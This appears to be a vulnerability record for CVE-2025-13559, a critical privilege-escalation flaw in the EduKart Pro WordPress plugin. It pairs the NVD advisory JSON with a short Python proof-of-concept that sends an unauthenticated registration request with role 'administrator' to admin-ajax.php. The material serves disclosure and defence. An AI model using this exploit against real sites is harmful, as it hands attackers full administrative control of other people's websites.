CVE-2025-13559

import requests url = 'https://target-site.com/wp-admin/admin-ajax.php' data = { 'action': 'edukart_pro_register_user_front_end', 'username': 'hacker', 'email': '[email protected]', 'password': 'Password123!', 'role': 'administrator' } response = requests.post(url, data=data)

{"cve": {"id": "CVE-2025-13559", "sourceIdentifier": "[email protected]", "published": "2025-11-25T05:16:10.967", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The EduKart Pro plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.0.3. This is due to the 'edukart_pro_register_user_front_end' function not restricting what user roles a user can register with. This makes it possible for unauthenticated attackers to supply the 'administrator' role during registration and gain administrator access to the site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-269"}]}], "references": [{"url": "https://themeforest.net/item/edit-edukart-online-courses-education-lms-theme/52094805", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d3a5be68-8073-48b0-a536-bb3a05e83dda?source=cve", "source": "[email protected]"}]}}